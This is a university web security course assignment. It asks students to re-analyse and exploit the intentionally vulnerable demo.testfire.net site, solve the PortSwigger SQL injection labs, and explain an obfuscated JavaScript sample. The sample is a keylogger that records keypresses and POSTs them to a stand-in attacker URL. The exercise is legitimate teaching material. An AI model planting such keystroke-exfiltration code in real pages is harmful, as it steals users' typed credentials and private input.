Web Security and Malware Analysis

Assignment 5 – 19/12/2019

Goal: Solve each task by providing a brief explanation of the solution that you adopted. You must use BURP or one of the indicated tools to solve the tasks (when required). Explanations should mainly include screenshots and some brief comments.

Note: Although you may find the solutions to many of the proposed tasks on the web, *try to solve them on your own and do not immediately give up*. This training will be very useful for the practical question that will be asked during the exam. Also, remember to give **brief written** answers (avoid copy-and-paste from other tutorials and try to write your own answers) and to use screenshots to describe what you do. You are also recommended not to use copy-and-paste texts from tutorials, but to use your own words.

Deadline: Jan 7th,2020

What to do: Send the report in the PDF format to davide.maiorca@unica.it with the subject "[WEBSEC] - Report For Assignment 5 – NAME SURNAME" and name the file "websec_report_5_name_surname.pdf". Remember to include your name, surname, and matriculation number in your report!

Starting Notes: Please DO NOT USE eduroam or UNICAMENTE to execute the attacks for the tasks related to this assignment. Try to set up an hotspot with your mobile.

Task 1 – What did you learn?

Do you remember the first task of the first assignment?

http://demo.testfire.net/

You are required to perform the analysis of the web application again, after everything you learned during the course. What can you say more in comparison to what you wrote in your first assignment? Can you find vulnerabilities? Can you exploit at least one of them?

Remember that you can also use these credentials to log in as a generic user (but do you really need them?):

User: jsmith

Password: Demo1234

P.S. This is probably the most important task of the course, as it shows the difference between when you started the course and what you learned after.

Task 2 – Revising SQL Injection

Solve the SQL Injection labs of the PortSwigger Academy:

https://portswigger.net/web-security/sql-injection

Solve the tasks until the "Examining the Database" section (which should **not be solved**). To see the labs of the "Retrieving data from other database tables" section, just click on "Read More." In total, there should be six labs to solve.

Task 3 – More JavaScript Obfuscation

Consider the following obfuscated JavaScript code and answer these questions:

- Describe what each function does *in detail* (i.e., line by line). What does !![] represent?
- Describe the functionality of the code.
- Can this code be implemented to exploit a web-based vulnerability? If yes, which vulnerability and why?

(If you need additional hints, check the JavaScript notes that you can find on the slides of the course).

```
var a = [
    'onkeypress',
    'key',
    'open',
    'POST',
    'https://darkmiao.wof.bau/stealing',
    'setRequestHeader',
    'Content-type',
    'application/x-www-form-urlencoded',
    'send',
    'data='
];
var b = function (c, d) {
    c = c - 0x0;
    var e = a[c];
    return e;
};
document[b('0x0')] = function (c) {
    l += c[b('0x1')];
    console['log'](l);
    var d = new XMLHttpRequest();
    d[b('0x2')](b('0x3'), b('0x4'), !![]);
    d[b('0x5')](b('0x6'), b('0x7'));
    d[b('0x8')](b('0x9') + l);
};
```